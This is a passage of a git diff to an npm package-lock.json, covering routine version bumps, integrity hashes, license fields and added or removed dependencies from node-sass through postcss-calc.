"sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/node-sass/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true, - "optional": true, - "peer": true - }, - "node_modules/node-sass/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/node-sass/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/nopt": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", - "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "abbrev": "1" - }, - "bin": { - "nopt": "bin/nopt.js" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/normalize-package-data": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", - "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "hosted-git-info": "^2.1.4", - "resolve": "^1.10.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, - "node_modules/normalize-package-data/node_modules/semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true, - "optional": true, - "peer": true, - "bin": { - "semver": "bin/semver" - } + "version": "2.0.19", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.19.tgz", + "integrity": "sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==", + "license": "MIT" }, "node_modules/normalize-path": { "version": "3.0.0", @@ -13732,17 +11538,6 @@ "node": ">=0.10.0" } }, - "node_modules/normalize-url": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", - "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/npm-run-path": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", @@ -13755,50 +11550,19 @@ "node": ">=8" } }, - "node_modules/npmlog": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz", - "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "are-we-there-yet": "^2.0.0", - "console-control-strings": "^1.1.0", - "gauge": "^3.0.0", - "set-blocking": "^2.0.0" - } - }, "node_modules/nth-check": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", "dev": true, + "license": "BSD-2-Clause", "dependencies": { - "boolbase": "^1.0.0" - }, - "funding": { - "url": "https://github.com/fb55/nth-check?sponsor=1" - } - }, - "node_modules/number-to-bn": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/number-to-bn/-/number-to-bn-1.7.0.tgz", - "integrity": "sha512-wsJ9gfSz1/s4ZsJN01lyonwuxA1tml6X1yBDnfpMglypcBRFZZkus26EdPSlqS5GJfYddVZa22p3VNb3z5m5Ig==", - "dependencies": { - "bn.js": "4.11.6", - "strip-hex-prefix": "1.0.0" - }, - "engines": { - "node": ">=6.5.0", - "npm": ">=3" + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" } }, - "node_modules/number-to-bn/node_modules/bn.js": { - "version": "4.11.6", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.6.tgz", - "integrity": "sha512-XWwnNNFCuuSQ0m3r3C4LE3EiORltHd9M05pq6FOlVeiophzRbMo50Sbz1ehl8K3Z+jw9+vmgnXefY1hz8X+2wA==" - }, "node_modules/numeral": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/numeral/-/numeral-2.0.6.tgz", @@ -13808,10 +11572,11 @@ } }, "node_modules/nwsapi": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.1.tgz", - "integrity": "sha512-JYOWTeFoS0Z93587vRJgASD5Ut11fYl5NyihP3KrYBvMe1FRRs6RN7m20SA/16GM4P6hTnZjT+UmDOt38UeXNg==", - "dev": true + "version": "2.2.21", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.21.tgz", + "integrity": "sha512-o6nIY3qwiSXl7/LuOU0Dmuctd34Yay0yeuZRLFmDPrrdHpXKFndPj3hM+YEPVHYC5fx2otBx4Ilc/gyYSAUaIA==", + "dev": true, + "license": "MIT" }, "node_modules/oauth-sign": { "version": "0.9.0", @@ -13830,9 +11595,13 @@ } }, "node_modules/object-inspect": { - "version": "1.11.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", - "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==", + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, "funding": { "url": "https://github.com/sponsors/ljharb" } @@ -13861,13 +11630,16 @@ } }, "node_modules/object.assign": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", - "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz", + "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==", + "license": "MIT", "dependencies": { - "call-bind": "^1.0.0", - "define-properties": "^1.1.3", - "has-symbols": "^1.0.1", + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0", + "has-symbols": "^1.1.0", "object-keys": "^1.1.1" }, "engines": { @@ -13877,15 +11649,16 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/object.values": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz", - "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==", + "node_modules/object.fromentries": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz", + "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==", "dev": true, "dependencies": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3", - "es-abstract": "^1.19.1" + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-object-atoms": "^1.0.0" }, "engines": { "node": ">= 0.4" @@ -13894,29 +11667,44 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/oboe": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/oboe/-/oboe-2.1.5.tgz", - "integrity": "sha512-zRFWiF+FoicxEs3jNI/WYUrVEgA7DeET/InK0XQuudGHRg8iIob3cNPrJTKaz4004uaA9Pbe+Dwa8iluhjLZWA==", + "node_modules/object.groupby": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.3.tgz", + "integrity": "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==", + "dev": true, "dependencies": { - "http-https": "^1.0.0" + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2" + }, + "engines": { + "node": ">= 0.4" } }, - "node_modules/on-finished": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "node_modules/object.values": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz", + "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==", + "dev": true, + "license": "MIT", "dependencies": { - "ee-first": "1.1.1" + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" }, "engines": { - "node": ">= 0.8" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, "dependencies": { "wrappy": "1" } @@ -13937,17 +11725,17 @@ } }, "node_modules/optionator": { - "version": "0.9.1", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.1.tgz", - "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==", + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", "dev": true, "dependencies": { + "@aashutoshrathi/word-wrap": "^1.2.3", "deep-is": "^0.1.3", "fast-levenshtein": "^2.0.6", "levn": "^0.4.1", "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.3" + "type-check": "^0.4.0" }, "engines": { "node": ">= 0.8.0" @@ -13958,20 +11746,22 @@ "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz", "integrity": "sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=" }, - "node_modules/p-cancelable": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-3.0.0.tgz", - "integrity": "sha512-mlVgR3PGuzlo0MmTdk4cXqXWlwQDLnONTAg6sm62XkMJEiRxN3GL3SffkYvqwonbkJBcrI7Uvv5Zh9yjvn2iUw==", - "engines": { - "node": ">=12.20" - } - }, - "node_modules/p-finally": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==", + "node_modules/own-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz", + "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-intrinsic": "^1.2.6", + "object-keys": "^1.1.1", + "safe-push-apply": "^1.0.0" + }, "engines": { - "node": ">=4" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/p-limit": { @@ -13990,66 +11780,32 @@ } }, "node_modules/p-locate": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", - "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", "dev": true, "dependencies": { - "p-limit": "^1.1.0" + "p-limit": "^2.2.0" }, "engines": { - "node": ">=4" + "node": ">=8" } }, "node_modules/p-locate/node_modules/p-limit": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", - "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", - "dev": true, - "dependencies": { - "p-try": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/p-locate/node_modules/p-try": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", - "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/p-map": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", - "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", "dev": true, - "optional": true, - "peer": true, "dependencies": { - "aggregate-error": "^3.0.0" + "p-try": "^2.0.0" }, "engines": { - "node": ">=10" + "node": ">=6" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/p-timeout": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-1.2.1.tgz", - "integrity": "sha512-gb0ryzr+K2qFqFv6qi3khoeqMZF/+ajxQipEF6NteZVnvz9tzdsfAVj3lYtn1gAXvH5lfLwfxEII799gt/mRIA==", - "dependencies": { - "p-finally": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/p-try": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", @@ -14071,17 +11827,52 @@ } }, "node_modules/parse-asn1": { - "version": "5.1.6", - "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.6.tgz", - "integrity": "sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==", - "dependencies": { - "asn1.js": "^5.2.0", - "browserify-aes": "^1.0.0", - "evp_bytestokey": "^1.0.0", - "pbkdf2": "^3.0.3", - "safe-buffer": "^5.1.1" + "version": "5.1.7", + "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.7.tgz", + "integrity": "sha512-CTM5kuWR3sx9IFamcl5ErfPl6ea/N8IYwiJ+vpeB2g+1iknv7zBl5uPwbMbRVznRVbrNY6lGuDoE5b30grmbqg==", + "dependencies": { + "asn1.js": "^4.10.1", + "browserify-aes": "^1.2.0", + "evp_bytestokey": "^1.0.3", + "hash-base": "~3.0", + "pbkdf2": "^3.1.2", + "safe-buffer": "^5.2.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/parse-asn1/node_modules/hash-base": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.5.tgz", + "integrity": "sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==", + "dependencies": { + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1" + }, + "engines": { + "node": ">= 0.10" } }, + "node_modules/parse-asn1/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, "node_modules/parse-headers": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/parse-headers/-/parse-headers-2.0.4.tgz", @@ -14106,22 +11897,24 @@ } }, "node_modules/parse5": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.0.0.tgz", - "integrity": "sha512-y/t8IXSPWTuRZqXc0ajH/UwDj4mnqLEbSttNbThcFhGrZuOyoyvNBO85PBp2jQa55wY9d07PBNjsK8ZP3K5U6g==", + "version": "7.3.0", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", + "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==", "dev": true, + "license": "MIT", "dependencies": { - "entities": "^4.3.0" + "entities": "^6.0.0" }, "funding": { "url": "https://github.com/inikulin/parse5?sponsor=1" } }, "node_modules/parse5/node_modules/entities": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/entities/-/entities-4.3.1.tgz", - "integrity": "sha512-o4q/dYJlmyjP2zfnaWDUC6A3BQFmVTX+tZPezK7k0GLSU9QYCauscf5Y+qcEPzKL+EixVouYDgLQK5H9GrLpkg==", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", + "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", "dev": true, + "license": "BSD-2-Clause", "engines": { "node": ">=0.12" }, @@ -14129,14 +11922,6 @@ "url": "https://github.com/fb55/entities?sponsor=1" } }, - "node_modules/parseurl": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", - "engines": { - "node": ">= 0.8" - } - }, "node_modules/path-exists": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", @@ -14177,20 +11962,6 @@ "tslib": "^1.10.0" } }, - "node_modules/path-to-regexp": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", - "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" - }, - "node_modules/path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true, - "engines": { - "node": ">=8" - } - }, "node_modules/pathval": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz", @@ -14200,20 +11971,73 @@ } }, "node_modules/pbkdf2": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.2.tgz", - "integrity": "sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==", + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.3.tgz", + "integrity": "sha512-wfRLBZ0feWRhCIkoMB6ete7czJcnNnqRpcoWQBLqatqXXmelSRqfdDK4F3u9T2s2cXas/hQJcryI/4lAL+XTlA==", + "license": "MIT", "dependencies": { - "create-hash": "^1.1.2", - "create-hmac": "^1.1.4", - "ripemd160": "^2.0.1", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" + "create-hash": "~1.1.3", + "create-hmac": "^1.1.7", + "ripemd160": "=2.0.1", + "safe-buffer": "^5.2.1", + "sha.js": "^2.4.11", + "to-buffer": "^1.2.0" }, "engines": { "node": ">=0.12" } }, + "node_modules/pbkdf2/node_modules/create-hash": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.1.3.tgz", + "integrity": "sha512-snRpch/kwQhcdlnZKYanNF1m0RDlrCdSKQaH87w1FCFPVPNCQ/Il9QJKAX2jVBZddRdaHBMC+zXa9Gw9tmkNUA==", + "license": "MIT", + "dependencies": { + "cipher-base": "^1.0.1", + "inherits": "^2.0.1", + "ripemd160": "^2.0.0", + "sha.js": "^2.4.0" + } + }, + "node_modules/pbkdf2/node_modules/hash-base": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-2.0.2.tgz", + "integrity": "sha512-0TROgQ1/SxE6KmxWSvXHvRj90/Xo1JvZShofnYF+f6ZsGtR4eES7WfrQzPalmyagfKZCXpVnitiRebZulWsbiw==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.1" + } + }, + "node_modules/pbkdf2/node_modules/ripemd160": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.1.tgz", + "integrity": "sha512-J7f4wutN8mdbV08MJnXibYpCOPHR+yzy+iQ/AsjMv2j8cLavQ8VGagDFUwwTAdF8FmRKVeNpbTTEwNHCW1g94w==", + "license": "MIT", + "dependencies": { + "hash-base": "^2.0.0", + "inherits": "^2.0.1" + } + }, + "node_modules/pbkdf2/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, "node_modules/performance-now": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", @@ -14227,15 +12051,23 @@ "resolved": "../../../deps/phoenix_html", "link": true }, + "node_modules/photoswipe": { + "version": "5.4.4", + "resolved": "https://registry.npmjs.org/photoswipe/-/photoswipe-5.4.4.tgz", + "integrity": "sha512-WNFHoKrkZNnvFFhbHL93WDkW3ifwVOXSW3w1UuZZelSmgXpIGiZSNlZJq37rR8YejqME2rHs9EhH9ZvlvFH2NA==", + "engines": { + "node": ">= 0.12.0" + } + }, "node_modules/picocolors": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", - "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==" }, "node_modules/picomatch": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.0.tgz", - "integrity": "sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==", + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", "dev": true, "engines": { "node": ">=8.6" @@ -14258,9 +12090,9 @@ "integrity": "sha512-TNtsE+34BIax3WtkB/qqu5uepV1McKYEgvL3kWzU7aqPCpMEN6rBF3AOwu4WCwAealWlBGobXny/9kJb49C1ew==" }, "node_modules/pirates": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.5.tgz", - "integrity": "sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ==", + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", "dev": true, "engines": { "node": ">= 6" @@ -14284,11 +12116,18 @@ "url": "https://opencollective.com/popperjs" } }, + "node_modules/possible-typed-array-names": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz", + "integrity": "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==", + "engines": { + "node": ">= 0.4" + } + }, "node_modules/postcss": { - "version": "8.4.16", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.16.tgz", - "integrity": "sha512-ipHE1XBvKzm5xI7hiHCZJCSugxvsdq2mPnsq5+UF+VHCjiBvtDrlxJfMBToWaP9D5XlgNmcFGqoHmUn0EYEaRQ==", - "dev": true, + "version": "8.5.6", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", + "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", "funding": [ { "type": "opencollective", @@ -14297,138 +12136,179 @@ { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" } ], + "license": "MIT", "dependencies": { - "nanoid": "^3.3.4", - "picocolors": "^1.0.0", - "source-map-js": "^1.0.2" + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" }, "engines": { "node": "^10 || ^12 || >=14" } }, "node_modules/postcss-calc": { - "version": "8.2.4", - "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", - "integrity": 